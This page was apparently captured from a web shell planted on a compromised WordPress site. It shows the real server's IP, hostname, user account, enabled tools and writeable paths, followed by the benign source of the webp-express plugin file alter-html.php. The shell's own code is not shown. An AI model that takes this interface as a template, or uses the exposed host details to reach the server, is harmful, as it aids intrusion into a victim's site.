Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tuempresavirtual.cl/public_html/wp-content/plugins/webp-express/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tuempresavirtual.cl/public_html/wp-content/plugins/webp-express/lib/alter-html.php
<?php

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

function webPExpressAlterHtml($content) {
    // Don't do anything with the RSS feed.
    if (is_feed()) {
        return $content;
    }

    if (get_option('webp-express-alter-html-replacement') == 'picture') {
        if(function_exists('is_amp_endpoint') && is_amp_endpoint()) {
            //for AMP pages the <picture> tag is not allowed
            return $content;
        }
        /*if (is_admin() ) {
            return $content;
        }*/
        require_once __DIR__ . '/classes/AlterHtmlPicture.php';
        return \WebPExpress\AlterHtmlPicture::alter($content);
    } else {
        require_once __DIR__ . '/classes/AlterHtmlImageUrls.php';
        return \WebPExpress\AlterHtmlImageUrls::alter($content);

    }
}

function webpExpressOutputBuffer() {
    if (!is_admin() || (function_exists("wp_doing_ajax") && wp_doing_ajax()) || (defined( 'DOING_AJAX' ) && DOING_AJAX)) {
        ob_start('webPExpressAlterHtml');
    }
}

function webpExpressAddPictureJs() {
    // Don't do anything with the RSS feed.
    // - and no need for PictureJs in the admin
    if ( is_feed() || is_admin() ) { return; }

    echo '<script>'
       . 'document.createElement( "picture" );'
       . 'if(!window.HTMLPictureElement && document.addEventListener) {'
            . 'window.addEventListener("DOMContentLoaded", function() {'
                . 'var s = document.createElement("script");'
                . 's.src = "' . plugins_url('/js/picturefill.min.js', __FILE__) . '";'
                . 'document.body.appendChild(s);'
            . '});'
        . '}'
       . '</script>';
}


if (get_option('webp-express-alter-html-replacement') == 'picture') {
    add_action( 'wp_head', 'webpExpressAddPictureJs');
}

if (get_option('webp-express-alter-html-hooks', 'ob') == 'ob') {
    /* TODO:
       Which hook should we use, and should we make it optional?
       - Cache enabler uses 'template_redirect'
       - ShortPixes uses 'init'

       We go with template_redirect now, because it is the "innermost".
       This lowers the risk of problems with plugins used rewriting URLs to point to CDN.
       (We need to process the output *before* the other plugin has rewritten the URLs,
        if the "Only for webps that exists" feature is enabled)
    */
    add_action( 'init', 'webpExpressOutputBuffer', 1 );
    //add_action( 'template_redirect', 'webpExpressOutputBuffer', 1 );

} else {
    add_filter( 'the_content', 'webPExpressAlterHtml', 10000 ); // priority big, so it will be executed last
    add_filter( 'the_excerpt', 'webPExpressAlterHtml', 10000 );
    add_filter( 'post_thumbnail_html', 'webPExpressAlterHtml');
}

//echo wp_doing_ajax() ? 'ajax' : 'no ajax'; exit;
//echo is_feed() ? 'feed' : 'no feed'; exit;

Youez - 2016 - github.com/yon3zu
LinuXploit